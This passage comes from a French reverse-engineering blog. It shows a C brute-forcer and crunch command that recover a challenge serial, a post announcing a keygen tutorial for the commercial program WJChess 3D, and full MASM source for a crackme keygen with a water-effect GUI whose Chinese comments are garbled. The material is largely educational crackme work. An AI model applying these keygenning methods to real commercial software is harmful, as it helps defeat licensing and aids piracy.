    Il n’y avait donc plus qu’à coder ce brute-forcer. C’est à l’aide d’aXs qu’on arriva à nos fins.

    Donc voici notre chef d’oeuvre :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>

    int sub_41EC50(const char *a1)
    {
      unsigned int v1; // edx@1
      const char *v2; // ecx@1
      int v3; // esi@1
      char v4; // al@2

      v2 = a1;
      v3 = -559038737;
      v1 = 0;
      do
        v4 = *v2++;
      while ( v4 );
      if ( v2 != a1 + 1 )
      {
        do
          v3 = 1535553534 * a1[v1++] - 942085638 * v3;
        while ( v1 < strlen(a1) );
      }
      return v3;
    }

    int main(int argc, char **argv)
    {
      char key[32];
      char *nl;
      FILE *f;
      int c;

      int hash;

      //f = fopen(argv[1], "r");
      f = stdin;

      while(!feof(f))
      {
        fgets(key, 32, f);
        nl = strrchr(key, '\r');
        if (nl) *nl = '\0';
        nl = strrchr(key, '\n');
        if (nl) *nl = '\0';
        if (!strlen(key)) continue;

        hash = sub_41EC50(key);

        if (c % 100000 == 0)
        {
          printf("hash: %X\n", hash);
        }

        if (hash == 0xC4B1801C)
        {
          printf("OK for hash: %s\n", key);
          exit(0);
        }
       
        c++;
      }
    }

    Une fois compilé, j’utilise un « tool » qu’aXs m’a conseillé, celui-ci se nomme : crunch.
    Il va me permettre de générer un fichier (dictionnaire) qui contiendra toutes les permutations possibles pour un serial qui contiendrait des chiffres, des lettres majuscules et des lettres minuscules. On définit notre keyspace à 5 chars.

    Ci-dessous, la commande utilisée pour générer le dictionnaire de brute force qui enchaîne en exécutant le programme :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    int_0x80@int0x80:~/Bureau/crunch2.9$ ./crunch 5 5 -f charset.lst mixalpha-numeric | ./bf
    [ ... ]
    hash: 961CD642
    hash: B924CB5A
    hash: E3CBE2F2
    hash: C357B796
    hash: A14BF876
    hash: D2BA93F6
    hash: F5C2890E
    hash: 46DEC4E8
    OK for hash: pWn3D
    int_0x80@int0x80:~/Bureau/crunch2.9$

    On obtient le « serial » qui permet de valider l’épreuve : pWn3D
    Merci à aXs pour son aide au bruteforcing et à Overclok[] qui nous a aidé à valider cette foutue épreuve 🙂

    Publié dans Non classé | Marqué avec , , , , , , , , , , | Laisser un commentaire

    Tuto 11 : Keygenning de WJChess 3D

    Suite aux demandes incessantes de certaines personnes me demandant si j’étais mort depuis quelques temps, j’ai décidé de rédiger un petit tutoriel en pdf (10 pages) sur le keygenning d’un logiciel protégé par du md5, la protection étant sympathique. La source ASM est jointe dans l’archive.

    Bien évidemment, toute critique, positive ou négative, me fera plaisir.

    Enjoy it

    KG WJ Chess

    EDIT : update du lien suite à une erreur dans la source (je n’avais pas up la version finale…). Merci à uLysse_31 pour me l’avoir signalé.

    P.S : j’ai un autre tuto en cours, sur le reversing d’un trojan de A à Z (du packer au payload), j’en suis à environ 50% (12 pages) et j’ai la flemme de le continuer ; soyez donc très patients ^^

    Publié dans Non classé | Laisser un commentaire

    Keygen int_0x80 with water_effect !

    C’est après avoir analysé le code de Xylitol : http://xylibox.blogspot.com/2010/12/waveasm-watereffect-from-asmyeahnet.html que je me suis permis de modifier le keygen que je vous ai proposé dans mon dernier article : (https://www.re-xe.com//keygenning-4-newbies-crackme-coded-by-the-analyst/)

    Voici la source :

    Keygen.asm :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    .486
    .model  flat, stdcall
    option  casemap :none   ; case sensitive

    include keygen.inc

    szFormat                       db       "%X",0
    szSizeMax                      db       "Entrez moins de caractères !",0
    szSizeMin                      db       "Entrez plus de caractères !",0
    szCap                          db       "Keygen By int_0x80",0
    szTitle                        db       "Error",0
    szError                        db       "An error has occured",0

    .data?
    hInstance                      dd           ?
    stWaveObj                      WAVE_OBJECT <?>
    xWin                           dd           ?
    hBitmap                        dd           ?
    bitmp                          dd           ?
    szName                         db   256 dup(?)
    szSerial                       db   256 dup(?)
    LenName                        db   256 dup(?)


    .code
    start:
        invoke GetModuleHandle, NULL
            MOV hInstance, EAX
        invoke DialogBoxParam, hInstance, IDD_KEYGEN, 0, ADDR DlgProc, 0
        invoke ExitProcess, EAX
    ;###############################################################################################################################################################
    DlgProc proc hWin:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD
    ;###############################################################################################################################################################
        local @stPs:PAINTSTRUCT,@hDc,@stRect:RECT
        local @stBmp:BITMAP
        local hMemDC:HDC
           
           
    .if uMsg==WM_INITDIALOG
        invoke LoadBitmap,hInstance,1007
            MOV hBitmap,EAX
            PUSH hBitmap
        invoke _WaveInit,addr stWaveObj,hWin,hBitmap,30,0
       
    .if EAX
        invoke MessageBox,hWin,addr szError,addr szTitle,MB_OK or MB_ICONSTOP
            CALL _Quit
    .else
    .endif

    ;//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

            POP hBitmap
        invoke DeleteObject,hBitmap
        invoke _WaveEffect,addr stWaveObj,1,5,4,250
       
    .elseif uMsg == WM_PAINT
        invoke BeginPaint,hWin,addr @stPs
            MOV @hDc,EAX
        invoke CreateCompatibleDC,@hDc
            MOV hMemDC,EAX
        invoke SelectObject,hMemDC,hBitmap
        invoke GetClientRect,hWin,addr @stRect
        invoke BitBlt,@hDc,10,10,@stRect.right,@stRect.bottom,hMemDC,0,0,MERGECOPY
        invoke DeleteDC,hMemDC
        invoke _WaveUpdateFrame,addr stWaveObj,eax,TRUE
        invoke EndPaint,hWin,addr @stPs
            XOR EAX,EAX
            XOR ECX,ECX
            RET
           
    .elseif uMsg==WM_COMMAND
                 .if wParam == IDC_GENERATE
        invoke GetDlgItemText,hWin,1002,addr szName,sizeof szName
    ;###############################################################################################################################################################
            MOV DWORD PTR [LenName], EAX        ; Stockage de eax dans LenName
            CMP EAX, 04h                        ; On compae la taille à 4d.
            JB @MinSize                         ; On saute si inférieur, le je saute si c'est égal.
            CMP EAX, 32h                        ; Puis on la compare à 50d (50 chars max).
            JA @MaxSize                         ; On saute vers le label appelé 'szSizeMax' si supérieur.
            XOR EAX,EAX                         ; MOV eax, 0
            XOR EBX,EBX                         ; MOV ebx, 0
            XOR ECX,ECX                         ; MOV ecx, 0
            XOR EDX,EDX                         ; MOV edx, 0
    ;###############################################################################################################################################################
    ; Routine
    @Routine:
            MOV AL,BYTE PTR [ecx+szName]         ; Met dans AL chaque char du name un par un à chaque fois que je boucle ( car ECX est incrémenté ligne suivante ).
            INC ECX                              ; Incrémentation de ECX pour le définir comme compteur de chars contenus dans le name.
            XOR EAX,ECX
            ADD EBX,EAX                          ; Additionne ebx à eax. eax contenant les chars du name.
            CMP ECX,DWORD PTR [LenName]          ; Compare le nombre de chars du compteur au nombre de chars du name.
            JNE @Routine                         ; Boucle si le résultat du cmp précédent n'a pas été égal à 0, c'est à dire si ecx, le compteur, n'a pas été égal au nombre de chars du nom.
            IMUL EAX,EAX,6                       ; Multiplie le char pécédemment xoré par 6.
            SHL EBX,7                            ; Multiplie ebx par 2^7.
            ADD EAX,EBX                          ; Additionne eax à ebx.
            PUSH EAX
            PUSH offset szFormat                 ; ASCII "%X"
            PUSH offset szSerial
            CALL wsprintf
    ;###############################################################################################################################################################
        invoke SetDlgItemText,hWin,1003,addr szSerial
            RET
    @MinSize:
        invoke MessageBox,hWin,addr szSizeMin,addr szCap,MB_ICONEXCLAMATION
            RET
    @MaxSize:
        invoke MessageBox,hWin,addr szSizeMax,addr szCap,MB_ICONEXCLAMATION
            RET
       
    .elseif uMsg==WM_DESTROY
        invoke DeleteObject,hBitmap
        invoke PostQuitMessage,NULL
    .endif

    .elseif uMsg == WM_CLOSE
            CALL _Quit
        invoke EndDialog,xWin,0    
    .endif

    .if wParam == IDC_COPY
        invoke SendDlgItemMessage,hWin,IDC_SERIAL,EM_SETSEL,0,-1
        invoke SendDlgItemMessage,hWin,IDC_SERIAL,WM_COPY,0,0
       
    .elseif wParam == IDC_EXIT
        invoke SendMessage,hWin,WM_CLOSE,0,0
    .endif     
            XOR EAX,EAX
            RET
       
    DlgProc endp

    _Quit proc

        invoke _WaveFree,addr stWaveObj
        invoke DestroyWindow,xWin
        invoke PostQuitMessage,NULL
            RET
    _Quit endp
    end start

    Keygen.inc :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    uselib  MACRO   libname
    include    libname.inc    
    includelib libname.lib
    ENDM

    uselib     user32
    uselib     kernel32
    include    windows.inc
    include    comctl32.inc
    include    winmm.inc
    include    gdi32.inc
    include    C:\masm32\macros\macros.asm
    include    WaveObject.asm
    includelib user32.lib
    includelib kernel32.lib
    includelib gdi32.lib
    includelib comctl32.lib
    includelib winmm.lib


    ; Prototype des fonctions :
    DlgProc PROTO :DWORD,:DWORD,:DWORD,:DWORD


     ; Définition des constantes ici :
    .const
    IDD_KEYGEN                 equ 1001
    IDC_NAME                   equ 1002
    IDC_SERIAL                 equ 1003
    IDC_GENERATE               equ 1004
    IDC_COPY                   equ 1005
    IDC_EXIT                   equ 1006
    IDC_OK                     equ 1010
    LOGO                       equ 1007
    LOGO2                      equ 1008

    Keygen.rc :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    #define IDD_KEYGEN 1001
    #define IDC_NAME 1002
    #define IDC_SERIAL 1003
    #define IDC_GENERATE 1004
    #define IDC_COPY 1005
    #define IDC_EXIT 1006
    #define LOGO 1007
    #define MyIcon 1013
    #define LOGO2 1008

    LOGO BITMAP DISCARDABLE "LOGO1.bmp"
    LOGO2 BITMAP DISCARDABLE "LOGO2.bmp"
    MyIcon ICON DISCARDABLE "favicon.ico"

    IDD_KEYGEN DIALOGEX 0,0,262,205
    CAPTION "Keygen By int_0x80"
    FONT 8,"MS Sans Serif"
    STYLE 0x10cc0000
    EXSTYLE 0x00000000
    BEGIN
        CONTROL "#1007",LOGO,"Static",0x1080020e,-7,-62,277,194,0x00000000
        CONTROL "#1008",LOGO2,"Static",0x1080020e,-7,74,277,137,0x00000000
        CONTROL "",IDC_NAME,"Edit",0x50010080,73,86,154,16,0x00000200
        CONTROL "",IDC_SERIAL,"Edit",0x50010080,73,121,154,16,0x00000200
        CONTROL "Generate",IDC_GENERATE,"Button",0x50010000,7,157,70,16,0x00000000
        CONTROL "Exit",IDC_EXIT,"Button",0x50010000,183,157,70,16,0x00000000
        CONTROL "Copy",IDC_COPY,"Button",0x50010000,96,157,70,16,0x00000000
    END

    WaveObject.asm :

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    114
    115
    116
    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    129
    130
    131
    132
    133
    134
    135
    136
    137
    138
    139
    140
    141
    142
    143
    144
    145
    146
    147
    148
    149
    150
    151
    152
    153
    154
    155
    156
    157
    158
    159
    160
    161
    162
    163
    164
    165
    166
    167
    168
    169
    170
    171
    172
    173
    174
    175
    176
    177
    178
    179
    180
    181
    182
    183
    184
    185
    186
    187
    188
    189
    190
    191
    192
    193
    194
    195
    196
    197
    198
    199
    200
    201
    202
    203
    204
    205
    206
    207
    208
    209
    210
    211
    212
    213
    214
    215
    216
    217
    218
    219
    220
    221
    222
    223
    224
    225
    226
    227
    228
    229
    230
    231
    232
    233
    234
    235
    236
    237
    238
    239
    240
    241
    242
    243
    244
    245
    246
    247
    248
    249
    250
    251
    252
    253
    254
    255
    256
    257
    258
    259
    260
    261
    262
    263
    264
    265
    266
    267
    268
    269
    270
    271
    272
    273
    274
    275
    276
    277
    278
    279
    280
    281
    282
    283
    284
    285
    286
    287
    288
    289
    290
    291
    292
    293
    294
    295
    296
    297
    298
    299
    300
    301
    302
    303
    304
    305
    306
    307
    308
    309
    310
    311
    312
    313
    314
    315
    316
    317
    318
    319
    320
    321
    322
    323
    324
    325
    326
    327
    328
    329
    330
    331
    332
    333
    334
    335
    336
    337
    338
    339
    340
    341
    342
    343
    344
    345
    346
    347
    348
    349
    350
    351
    352
    353
    354
    355
    356
    357
    358
    359
    360
    361
    362
    363
    364
    365
    366
    367
    368
    369
    370
    371
    372
    373
    374
    375
    376
    377
    378
    379
    380
    381
    382
    383
    384
    385
    386
    387
    388
    389
    390
    391
    392
    393
    394
    395
    396
    397
    398
    399
    400
    401
    402
    403
    404
    405
    406
    407
    408
    409
    410
    411
    412
    413
    414
    415
    416
    417
    418
    419
    420
    421
    422
    423
    424
    425
    426
    427
    428
    429
    430
    431
    432
    433
    434
    435
    436
    437
    438
    439
    440
    441
    442
    443
    444
    445
    446
    447
    448
    449
    450
    451
    452
    453
    454
    455
    456
    457
    458
    459
    460
    461
    462
    463
    464
    465
    466
    467
    468
    469
    470
    471
    472
    473
    474
    475
    476
    477
    478
    479
    480
    481
    482
    483
    484
    485
    486
    487
    488
    489
    490
    491
    492
    493
    494
    495
    496
    497
    498
    499
    500
    501
    502
    503
    504
    505
    506
    507
    508
    509
    510
    511
    512
    513
    514
    515
    516
    517
    518
    519
    520
    521
    522
    523
    524
    525
    526
    527
    528
    529
    530
    531
    532
    533
    534
    535
    536
    537
    538
    539
    540
    541
    542
    543
    544
    545
    546
    547
    548
    549
    550
    551
    552
    553
    554
    555
    556
    557
    558
    559
    560
    561
    562
    563
    564
    565
    566
    567
    568
    569
    570
    571
    572
    573
    574
    575
    576
    577
    578
    579
    580
    581
    582
    583
    584
    585
    586
    587
    588
    589
    590
    591
    592
    593
    594
    595
    596
    597
    598
    599
    600
    601
    602
    603
    604
    605
    606
    607
    608
    609
    610
    611
    612
    613
    614
    615
    616
    617
    618
    619
    620
    621
    622
    623
    624
    625
    626
    627
    628
    629
    630
    631
    632
    633
    634
    635
    636
    637
    638
    639
    640
    641
    642
    643
    644
    645
    646
    647
    648
    649
    650
    651
    652
    653
    654
    655
    656
    657
    658
    659
    660
    661
    662
    663
    664
    665
    666
    667
    668
    669
    670
    671
    672
    673
    674
    675
    676
    677
    678
    679
    680
    681
    682
    683
    684
    685
    686
    687
    688
    689
    690
    691
    692
    693
    694
    695
    696
    697
    698
    699
    700
    701
    702
    703
    704
    705
    706
    707
    708
    709
    710
    711
    712
    713
    714
    715
    716
    717
    718
    719
    720
    721
    722
    723
    724
    725
    726
    727
    728
    729
    730
    731
    732
    733
    734
    735
    736
    737
    738
    739
    740
    741
    742
    743
    744
    745
    746
    747
    748
    749
    750
    751
    752
    753
    754
    755
    756
    757
    758
    759
    760
    761
    762
    763
    764
    765
    766
    767
    768
    769
    770
    771
    772
    773
    774
    775
    776
    777
    778
    779
    780
    781
    782
    783
    784
    785
    786
    787
    788
    789
    790
    791
    792
    793
    794
    795
    796
    797
    798
    799
    800
    801
    802
    803
    804
    805
    806
    807
    808
    809
    810
    811
    812
    813
    814
    815
    816
    817
    818
    819
    820
    821
    822
    823
    824
    825
    826
    827
    828
    829
    830
    831
    832
    833
    834
    835
    836
    837
    838
    839
    840
    841
    842
    843
    844
    845
    846
    847
    848
    849
    850
    851
    852
    853
    854
    855
    856
    857
    858
    859
    860
    861
    862
    863
    864
    865
    866
    867
    868
    869
    870
    871
    872
    873
    874
    875
    876
    877
    878
    879
    880
    881
    882
    883
    884
    885
    886
    887
    888
    889
    890
    891
    892
    893
    894
    895
    896
    897
    898
    899
    900
    901
    902
    903
    904
    905
    906
    907
    908
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    ; Ë®²šÐ§¹û¹«ÓÃ×Ó³ÌÐò
    ; by ÂÞÔƱò£¬http://asm.yeah.net£¬luoyunbin@sina.com
    ; V 1.0.041019 --- ³õÊŒ°æ±Ÿ
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    ; ÔÚÔŽŽúÂëÖÐÖ»ÐèÒª include WaveObject.asm
    ; È»ºó°ŽÒÔϲœÖèµ÷ÓÃŒŽ¿É£º
    ;********************************************************************
    ; 1¡¢ŽŽœšË®²š¶ÔÏó£º
    ;    Òª¶ÔÒ»žöŽ°¿ÚœøÐл滭£¬Ê×ÏÈÒªŽŽœšÒ»žöË®²š¶ÔÏ󣚱Ÿº¯ÊýÉêÇëһЩ»º³åÇø£©
    ;    invoke _WaveInit,lpWaveObject,hWnd,hBmp,dwTime,dwType
    ;       lpWaveObject --> ÖžÏòÒ»žö¿ÕµÄ WAVE_OBJECT œá¹¹
    ;       hWnd --> Òª»æ»­Ë®²šÐ§¹ûµÄŽ°¿Ú£¬äÖÈŸºóµÄ͌Ƭœ«»­µœŽ°¿ÚµÄ¿Í»§ÇøÖÐ
    ;       hBmp --> ±³Ÿ°ÍŒÆ¬£¬»æ»­µÄ·¶Î§ŽóСͬ±³Ÿ°ÍŒÆ¬ŽóС
    ;       dwTime --> ˢеÄʱŒäŒäžô£šºÁÃ룩£¬œšÒéÖµ£º10¡«30
    ;   dwType --> =0 ±íÊŸÔ²ÐÎË®²š£¬=1±íÊŸÍÖÔ²ÐÍË®²š£šÓÃÓÚÍžÊÓЧ¹û£©
    ;       ·µ»ØÖµ£ºeax = 0£š³É¹Š£¬¶ÔÏó±»³õÊŒ»¯£©£¬eax = 1£šÊ§°Ü£©
    ;********************************************************************
    ; 2¡¢Èç¹û _WaveInit º¯Êý·µ»Ø³É¹Š£¬Ôò¶ÔÏó±»³õÊŒ»¯£¬œ«¶ÔÏóŽ«žøÏÂÁО÷ÖÖº¯Êý
    ;    ¿ÉÒÔʵÏÖž÷ÖÖЧ¹û£¬ÏÂÃ溯ÊýÖÐµÄ lpWaveObject ²ÎÊýÖžÏòÔÚ _WaveInit º¯Êý
    ;    ÖгõÊŒ»¯µÄ WAVE_OBJECT œá¹¹
    ;
    ;    ¡ò ÔÚÖž¶šÎ»Öá°ÈÓʯͷ¡±£¬Œ€ÆðË®²š
    ;       invoke _WaveDropStone,lpWaveObject,dwPosX,dwPosY,dwStoneSize,dwStoneWeight
    ;          dwPosX,dwPosY --> ÈÓÏÂʯͷµÄλÖÃ
    ;          dwStoneSize --> ʯͷµÄŽóС£¬ŒŽ³õÊŒµãµÄŽóС£¬œšÒéÖµ£º0¡«5
    ;          dwStoneWeight --> ʯͷµÄÖØÁ¿£¬Ÿö¶šÁ˲š×îºóÀ©É¢µÄ·¶Î§ŽóС£¬œšÒéÖµ£º10¡«1000
    ;
    ;    ¡ò ×Ô¶¯ÏÔÊŸÌØЧ
    ;       invoke _WaveEffect,lpWaveObject,dwEffectType,dwParam1,dwParam2,dwParam3
    ;          dwParam1,dwParam2,dwParam3 --> Ч¹û²ÎÊý£¬¶Ô²»Í¬µÄÌØЧÀàÐͲÎÊýº¬Ò岻ͬ
    ;          dwEffectType --> ÌØЧÀàÐÍ
    ;             0 --> ¹Ø±ÕÌØЧ
    ;             1 --> ÏÂÓ꣬Param1£œÃÜŒ¯Ëٶȣš0×îÃÜ£¬ÔœŽóԜϡÊ裩£¬œšÒéÖµ£º0¡«30
    ;                         Param2£œ×îŽóÓêµãÖ±Ÿ¶£¬œšÒéÖµ£º0¡«5
    ;                         Param3£œ×îŽóÓêµãÖØÁ¿£¬œšÒéÖµ£º50¡«250
    ;             2 --> Æûͧ£¬Param1£œËٶȣš0×îÂý£¬ÔœŽóÔœ¿ì£©£¬œšÒéÖµ£º0¡«8
    ;                         Param2£œŽ¬ŽóС£¬œšÒéÖµ£º0¡«4
    ;                         Param3£œË®²šÀ©É¢µÄ·¶Î§£¬œšÒéÖµ£º100¡«500
    ;             3 --> ·çÀË£¬Param1£œÃܶȣšÔœŽóÔœÃÜ£©£¬œšÒéÖµ£º50¡«300
    ;                         Param2£œŽóС£¬œšÒéÖµ£º2¡«5
    ;                         Param3£œÄÜÁ¿£¬œšÒéÖµ£º5¡«10
    ;
    ;    ¡ò Ž°¿Ú¿Í»§ÇøÇ¿ÖÆžüУšÓÃÓÚÔÚŽ°¿ÚµÄWM_PAINTÏûÏ¢ÖÐÇ¿ÖÆžüпͻ§¶Ë£©
    ;       .if     uMsg == WM_PAINT
    ;               invoke  BeginPaint,hWnd,addr @stPs
    ;               mov     @hDc,eax
    ;               invoke  _WaveUpdateFrame,lpWaveObject,eax,TRUE
    ;               invoke  EndPaint,hWnd,addr @stPs
    ;               xor     eax,eax
    ;               ret
    ;********************************************************************
    ; 3¡¢ÊÍ·ÅË®²š¶ÔÏó£º
    ;    Ê¹ÓÃÍê±Ïºó£¬±ØÐ뜫ˮ²š¶ÔÏóÊÍ·Å£š±Ÿº¯Êýœ«ÊÍ·ÅÉêÇëµÄ»º³åÇøÄÚŽæµÈ×ÊÔŽ£©
    ;       invoke  _WaveFree,lpWaveObject
    ;       lpWaveObject --> ÖžÏò WAVE_OBJECT œá¹¹
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    ; ʵÏÖÉϵÄÏžœÚ˵Ã÷£º
    ;
    ; 1¡¢ Ë®²šµÄÌØÕ÷£º
    ;   ¡ò À©É¢£ºÃ¿Ò»µãµÄ²š»áÀ©É¢µœÆäËÄÖܵÄλÖÃÖÐ
    ;   ¡ò Ë¥Œõ£ºÃ¿ŽÎÀ©É¢»áËðʧÉÙÁ¿ÄÜÁ¿£š·ñÔòË®²š»áÓÀ²»Í£Ö¹µÄÕðµŽÏÂÈ¥£©
    ;
    ; 2¡¢ ΪÁ˱£ŽæÁœžöʱ¿ÌÖеÄÄÜÁ¿·Ö²œÍŒ£¬¶ÔÏóÖжšÒå2žö»º³åÇøWave1ºÍWave2
    ;  £š±£ŽæÔÚlpWave1ºÍlpWave2ÖžÏòµÄ»º³åÇøÄÚ£©£¬Wave1Ϊµ±Ç°ÊýŸÝ£¬Wave2Ϊ
    ;   ÉÏÒ»Ö¡µÄÊýŸÝ£¬Ã¿ŽÎäÖȟʱœ«žùŸÝÉÏÃæµÄ2žöÌØÕ÷£¬ÓÉWave1µÄÊýŸÝŒÆËã³öÐÂ
    ;   ÄÜÁ¿·Ö±ðÍŒºó£¬±£ŽæµœWave2ÖУ¬È»ºóµ÷»»Wave1ºÍWave2£¬ÕâʱWave1ÈÔÊÇ×î
    ;   еÄÊýŸÝ¡£
    ;      ŒÆËãµÄ·œ·šÎª£¬Ä³žöµãµÄÄÜÁ¿£œµãËÄÖܵÄÉÏŽÎÄÜÁ¿µÄÆœŸùÖµ * Ë¥ŒõϵÊý
    ;   È¡ËÄÖܵÄÆœŸùÖµ±íÏÖÁËÀ©Õ¹ÌØÕ÷£¬³ËÒÔË¥ŒõϵÊý±íÏÖÁËË¥ŒõÌØÕ÷¡£
    ;      Õⲿ·ÖŽúÂëÔÚ _WaveSpread ×Ó³ÌÐòÖÐʵÏÖ¡£
    ;
    ; 3¡¢ ¶ÔÏóÔÚ lpDIBitsSource Öб£ŽæÁËԭʌλ͌µÄÊýŸÝ£¬Ã¿ŽÎäÖȟʱ£¬ÓÉÔ­ÊŒ
    ;   λ͌µÄÊýŸÝžùŸÝWave1Öб£ŽæµÄÄÜÁ¿·Ö²œÊýŸÝ²úÉúеÄλ͌¡£ŽÓÊÓŸõÉÏ¿Ž£¬
    ;   ijžöµãµÄÄÜÁ¿ÔœŽó£šË®²šÔœŽó£©£¬Ôò¹âÏßÕÛÉä³öԜԶŽŠµÄ³¡Ÿ°¡£
    ;      Ë㷚Ϊ£º¶ÔÓڵ㣚x,y£©£¬ÔÚWave1ÖÐÕÒ³öžÃµã£¬ŒÆËã³öÏàÁÚµãµÄ²šÄܲî
    ;  £šDxºÍDyÁœžöÊýŸÝ£©£¬ÔòÐÂλ͌ÏñËØ£šx,y£©£œÔ­ÊŒÎ»ÍŒÏñËØ£šx+Dx,y+Dy£©£¬
    ;   žÃËã·š±íÏÖÁËÄÜÁ¿ŽóСӰÏìÁËÏñËØÕÛÉäµÄÆ«ÒÆŽóС¡£
    ;      Õⲿ·ÖŽúÂëÔÚ _WaveRender ×Ó³ÌÐòÖÐʵÏÖ¡£
    ;
    ; 4¡¢ ÈÓʯͷµÄËã·šºÜºÃÀíœâ£¬ŒŽœ«Wave1ÖеÄijžöµãµÄÄÜÁ¿ÖµÖÃΪ·Ç0Öµ£¬ÊýÖµ
    ;   ÔœŽó£¬±íÊŸÈÓϵÄʯͷµÄÄÜÁ¿ÔœŽó¡£Ê¯Í·±ÈœÏŽó£¬Ôòœ«žÃµãËÄÖܵĵãÈ«²¿
    ;   ÖÃΪ·Ç0Öµ¡£
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    ;
    ;
    ;
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    ifndef      WAVEOBJ_INC
    WAVEOBJ_INC equ 1
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    F_WO_ACTIVE     equ 0001h
    F_WO_NEED_UPDATE    equ 0002h
    F_WO_EFFECT     equ 0004h
    F_WO_ELLIPSE        equ 0008h

    WAVE_OBJECT     struct
     hWnd           dd  ?
     dwFlag         dd  ?   ; Œû F_WO_xxx ×éºÏ
    ;********************************************************************
     hDcRender      dd  ?
     hBmpRender     dd  ?
     lpDIBitsSource     dd  ?   ; Ô­ÊŒÏñËØÊýŸÝ
     lpDIBitsRender     dd  ?   ; ÓÃÓÚÏÔÊŸµœÆÁÄ»µÄÏñËØÊýŸÝ
     lpWave1        dd  ?   ; Ë®²šÄÜÁ¿ÊýŸÝ»º³å1
     lpWave2        dd  ?   ; Ë®²šÄÜÁ¿ÊýŸÝ»º³å2
    ;********************************************************************
     dwBmpWidth     dd  ?
     dwBmpHeight        dd  ?
     dwDIByteWidth      dd  ?   ; = (dwBmpWidth * 3 + 3) and ~3
     dwWaveByteWidth    dd  ?   ; = dwBmpWidth * 4
     dwRandom       dd  ?
    ;********************************************************************
    ; ÌØЧ²ÎÊý
    ;********************************************************************
     dwEffectType       dd  ?
     dwEffectParam1     dd  ?
     dwEffectParam2     dd  ?
     dwEffectParam3     dd  ?
    ;********************************************************************
    ; ÓÃÓÚÐÐŽ¬ÌØЧ
    ;********************************************************************
     dwEff2X        dd  ?
     dwEff2Y        dd  ?
     dwEff2XAdd     dd  ?
     dwEff2YAdd     dd  ?
     dwEff2Flip     dd  ?
    ;********************************************************************
     stBmpInfo      BITMAPINFO <>
    WAVE_OBJECT     ends
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>


            .code
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    ; Ëæ»úÊý²úÉú×Ó³ÌÐò
    ; ÊäÈ룺Ҫ²úÉúµÄËæ»úÊýµÄ×îŽóÖµ£¬Êä³ö£ºËæ»úÊý
    ; žùŸÝ£º
    ; 1. Êýѧ¹«Êœ Rnd=(Rnd*I+J) mod K Ñ­»·»ØŽøÉú³É K ŽÎÒÔÄÚ²»ÖØžŽµÄ
    ;    Î±Ëæ»úÊý£¬µ«K,I,J±ØÐëΪËØÊý
    ; 2. 2^(2n-1)-1 ±Ø¶šÎªËØÊý£šŒŽ2µÄÆæÊýŽÎ·œŒõ1£©
    ;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    _WaveRandom16   proc    _lpWaveObject

            mov ebx,_lpWaveObject
            assume  ebx:ptr WAVE_OBJECT
            push    edx
            push    ecx
            mov eax,[ebx].dwRandom
            mov ecx,32768-1 ;2^15-1
            mul ecx
            add eax,2048-1  ;2^11-1
            adc edx,0
